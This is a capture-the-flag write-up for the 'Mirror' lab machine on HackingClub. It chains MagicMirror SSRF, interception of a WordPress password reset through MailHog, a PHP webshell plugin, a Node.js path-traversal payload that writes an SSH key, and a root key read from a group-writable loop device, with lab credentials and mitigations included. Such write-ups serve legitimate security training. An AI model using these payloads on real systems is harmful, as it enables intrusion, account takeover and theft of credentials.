Target Information
- IP Address: 172.16.4.143
- Difficulty: Easy
- Tags: Web, SSRF, WordPress, Path Traversal, Group Misconfiguration, Privilege Escalation
- Platform: HackingClub
- OS: Ubuntu 26.04 LTS (kernel 7.0.0-1004-aws, AWS EC2)
- Hostname: ip-172-16-15-172
Reconnaissance
Port Scanning
nmap -sC -sV -p- --min-rate 500 -vvv -oA nmap 172.16.4.143Results:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 10.2p1 Ubuntu 2ubuntu3
80/tcp open http Apache httpd 2.4.66 (Ubuntu)
8080/tcp open http MagicMirror² v2.35.0 (Node.js)
Three services: SSH, Apache on port 80, and a MagicMirror² instance on 8080.
Web Enumeration
Port 80 — Apache
Default Apache page. Directory brute-force reveals /wordpress/ with a full WordPress installation accessible internally.
curl -s http://172.16.4.143/wordpress/wp-json/wp/v2/usersResult: User admin (ID:1) confirmed via WordPress REST API.
Port 8080 — MagicMirror²
MagicMirror² v2.35.0 running as Node.js. Several interesting endpoints discovered:
| Endpoint | Notes |
|---|---|
/cors?url=<target> | Transparent HTTP proxy — SSRF |
/config/config.js | Default config, no secrets |
/js/server.js | Express routes source |
/version | Returns 2.35.0 |
/env | Returns {modulesDir, defaultModulesDir, customCss} |
Key finding: /cors acts as a transparent HTTP proxy with no URL restrictions.
SSRF — Internal Service Discovery
Using MagicMirror's /cors endpoint to probe internal services:
# Discover WordPress (already known via port 80)
curl "http://172.16.4.143:8080/cors?url=http://localhost:80/wordpress/"
# Discover MailHog on port 8025
curl "http://172.16.4.143:8080/cors?url=http://localhost:8025/"MailHog was found on localhost:8025 — an email testing tool intercepting all outgoing mail from WordPress.
Exploitation: WordPress Admin Access via MailHog SSRF
Password Reset Interception
WordPress sends password reset emails. Since MailHog intercepts all outbound mail, and the SSRF lets us read MailHog's web interface, we can hijack the reset flow:
Step 1 — Trigger password reset:
POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1
Host: 172.16.4.143
Content-Type: application/x-www-form-urlencoded
user_login=admin&redirect_to=&wp-submit=Get+New+PasswordStep 2 — Intercept the email via SSRF:
curl "http://172.16.4.143:8080/cors?url=http://localhost:8025/api/v2/messages"The response contains the reset link with the token. Use the token to set a new password:
Password set: l(t$yGU#lA0pG2Rk%Ed0pLAg
Result: Admin access to WordPress confirmed.
Webshell Installation via Plugin Upload
Logged in as WordPress admin, uploaded a malicious plugin (shell_plugin.zip) containing a simple PHP webshell:
<?php system($_GET['cmd']); ?>Webshell active at:
http://172.16.4.143/wordpress/wp-content/plugins/shell_plugin/shell_plugin.php?cmd=id
Result:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
RCE achieved as www-data.
Post-Exploitation (www-data)
Environment Enumeration
Reading wp-config.php for database credentials:
curl "http://172.16.4.143/wordpress/wp-content/plugins/shell_plugin/shell_plugin.php?cmd=cat+/var/www/html/wordpress/wp-config.php"Database credentials found:
DB_USER: wpuser
DB_PASSWORD: ajfh33333
Critical Finding — magic.service
/etc/systemd/system/magic.service reveals MagicMirror runs as user magnus with Restart=always:
[Service]
Type=simple
User=magnus
WorkingDirectory=/home/magnus/MagicMirror
ExecStart=/usr/bin/node serveronly
Restart=always
RestartSec=5The Node.js process (MagicMirror) runs as magnus, not www-data. This is the lateral movement vector.
MagicMirror Weather Module — Path Traversal via require()
Reviewing /defaultmodules/weather/node_helper.js, the weather module loads providers dynamically:
providerPath = path.join(__dirname, "providers", identifier + ".js")
// __dirname = /home/magnus/MagicMirror/defaultmodules/weatherThe weatherProvider parameter is passed unsanitized into path.join() then loaded via require(). Since path.join resolves ../ sequences, a traversal payload points to any .js file on the filesystem.
Payload path calculation:
__dirname: /home/magnus/MagicMirror/defaultmodules/weather
Target file: /var/www/html/wordpress/evil_wp2.js
Traversal: ../../../../../../var/www/html/wordpress/evil_wp2
The trigger is a Socket.io INIT_WEATHER event via EIO=4 long-polling.
Lateral Movement: www-data → magnus
SSH Key Injection via Path Traversal
Step 1 — Generate SSH key pair (attacker):
ssh-keygen -t ed25519 -f /tmp/magnus_key -N ""Step 2 — Create the evil payload (as www-data via webshell):
File written to /var/www/html/wordpress/evil_wp2.js:
const fs = require('fs');
const k = Buffer.from('<base64_pubkey>', 'base64').toString();
try { fs.mkdirSync('/home/magnus/.ssh', {recursive: true, mode: 0o700}) } catch(e) {}
fs.writeFileSync('/home/magnus/.ssh/authorized_keys', k + '\n', {mode: 0o600});
module.exports = class {};Step 3 — Trigger path traversal via Socket.io (EIO=4):
# Handshake
SID=$(curl -s "http://172.16.4.143:8080/socket.io/?EIO=4&transport=polling" | grep -o '"sid":"[^"]*"' | cut -d'"' -f4)
# Connect to /weather namespace
curl -s -X POST "http://172.16.4.143:8080/socket.io/?EIO=4&transport=polling&sid=$SID" \
-d "40/weather,"
# Send INIT_WEATHER with traversal payload
curl -s -X POST "http://172.16.4.143:8080/socket.io/?EIO=4&transport=polling&sid=$SID" \
-d '42/weather,["INIT_WEATHER",{"identifier":"../../../../../../var/www/html/wordpress/evil_wp2","weatherProvider":"openweathermap","units":"metric","lat":0,"lon":0,"apiKey":"x"}]'Important: No length prefix
{n}:for single packets — the server silently rejects them.
Step 4 — SSH as magnus:
ssh -i /tmp/magnus_key magnus@172.16.4.143Result:
magnus@ip-172-16-15-172:~$ id
uid=1001(magnus) gid=1001(magnus) groups=1001(magnus),1002(users),1003(usbaccess)
Privilege Escalation: magnus → root via usbaccess Group
Enumeration
Checking magnus's group membership:
uid=1001(magnus) gid=1001(magnus) groups=1001(magnus),1002(users),1003(usbaccess)
Magnus belongs to usbaccess group. Reviewing the USB stick service:
cat /etc/systemd/system/usbstick.service[Unit]
Description=Setup USB stick challenge device
After=local-fs.target
[Service]
Type=oneshot
ExecStart=/usr/local/bin/setup-usbstick.sh
RemainAfterExit=yes
[Install]
WantedBy=multi-user.targetcat /usr/local/bin/setup-usbstick.sh#!/bin/bash
IMAGE="/opt/usbstick.img"
losetup -j "$IMAGE" | cut -d: -f1 | xargs -r losetup -d
DEVICE=$(losetup -f --show "$IMAGE")
chown root:usbaccess "$DEVICE"
chmod 660 "$DEVICE"The script mounts /opt/usbstick.img as a loop device and sets ownership to root:usbaccess with permissions 660 — meaning usbaccess group members can read/write the device.
After a machine restart, /opt/usbstick.img (200MB, FAT16) exists and the service runs successfully, creating /dev/loop3.
Exploitation
# Verify loop device permissions
ls -la /dev/loop3
# brw-rw---- 1 root usbaccess ... /dev/loop3
# Read the FAT16 filesystem directly with Python
python3 -c "
import os
fd = os.open('/dev/loop3', os.O_RDONLY)
data = os.read(fd, 10 * 1024 * 1024)
os.close(fd)
with open('/tmp/usb.img', 'wb') as f:
f.write(data)
"
# Mount and inspect
sudo mount -o loop /tmp/usb.img /mnt # or parse raw
strings /tmp/usb.img | grep -A 30 "BEGIN RSA\|BEGIN OPENSSH"Root's private SSH key found in the FAT16 image:
ssh -i usb_key root@172.16.4.143Result:
root@ip-172-16-15-172:~# id
uid=0(root) gid=0(root) groups=0(root)
Attack Chain Summary
1. MagicMirror :8080 /cors → SSRF proxy
↓
2. SSRF → MailHog on localhost:8025
↓
3. WordPress password reset intercepted → admin login
↓
4. Plugin upload → shell_plugin.php → RCE as www-data
↓
5. MagicMirror weather path traversal via Socket.io INIT_WEATHER
(magic.service runs as magnus → require() loads attacker .js)
↓
6. evil_wp2.js injects SSH pubkey → /home/magnus/.ssh/authorized_keys
↓
7. SSH as magnus → User Flag
↓
8. magnus in usbaccess group → /dev/loop3 (FAT16, root:usbaccess 660)
↓
9. Read loop device → extract root's id_rsa → SSH as root → Root Flag
Vulnerabilities Summary
| Vulnerability | CWE | Severity | Impact |
|---|---|---|---|
Server-Side Request Forgery (SSRF) via /cors | CWE-918 | High | Access to internal services (MailHog, localhost) |
| Email interception (MailHog exposed internally) | CWE-319 | High | Account takeover (WordPress admin) |
| WordPress unauthenticated plugin upload | CWE-434 | Critical | RCE as www-data |
Path Traversal in MagicMirror require() | CWE-22 | Critical | Arbitrary code execution as magnus |
| Sensitive file stored in group-readable device | CWE-732 | Critical | Root SSH key exposure via usbaccess group |
Mitigation Recommendations
Application Level
- Restrict SSRF in MagicMirror
/cors:- Implement an allowlist of permitted external domains
- Block access to
localhost,127.0.0.1, and RFC-1918 ranges
// Validate URL before proxying
const url = new URL(req.query.url);
if (['localhost', '127.0.0.1', '::1'].includes(url.hostname)) {
return res.status(403).send('Forbidden');
}- Sanitize
weatherProviderparameter:- Validate against an allowlist of known provider names before calling
require()
- Validate against an allowlist of known provider names before calling
const ALLOWED_PROVIDERS = ['openweathermap', 'darksky', 'weatherbit'];
if (!ALLOWED_PROVIDERS.includes(weatherProvider)) {
throw new Error('Invalid provider');
}- Disable WordPress REST API user enumeration or require authentication for
/wp-json/wp/v2/users.
System Level
-
Remove MailHog from production environments. MailHog is a development tool and must never run in production — it silently discards all outgoing email while exposing it to anyone with internal network access.
-
Root credentials must not be stored on group-readable storage. The
usbaccessgroup design grants read access to a block device containing root's private key. Store credentials in a secrets manager (Vault, AWS Secrets Manager) instead. -
Principle of least privilege for service accounts: MagicMirror should run under a dedicated non-privileged account with no home directory or shell, not under a real user account like
magnus.
Tools Used
- nmap — Port scanning and service fingerprinting
- curl — HTTP requests, SSRF exploitation, Socket.io interaction
- LinPEAS — Linux privilege escalation enumeration
- pspy — Process monitoring without root
- Python3 — Raw block device reading for FAT16 image extraction
Key Takeaways
- SSRF is powerful as a pivot. A single
/corsproxy endpoint gave access to the entire internal network — MailHog, localhost services, anything bound to loopback. - MagicMirror
require()injection is a non-obvious code execution path: theINIT_WEATHERSocket.io event loads a Node.js module by path, andpath.joindoesn't strip../traversals. - Group-based privilege escalation via
usbaccess— a custom group granting read/write to a block device containing root secrets — is a subtle but decisive misconfiguration. - MailHog in production makes account takeover trivial for anyone with SSRF capability.
References
- MagicMirror² Documentation
- CWE-918: Server-Side Request Forgery
- CWE-22: Path Traversal
- CWE-434: Unrestricted File Upload
- CWE-732: Incorrect Permission Assignment
- Socket.io Engine.IO v4 Protocol
Author: cbxcvl Date: 2026-05-25 Machine: Mirror — HackingClub
Flags
Flag values and file paths are not documented in the source notes.
Proof of Concept Scripts
Exploit commands and requests are documented inline above. No standalone script was included in the source notes.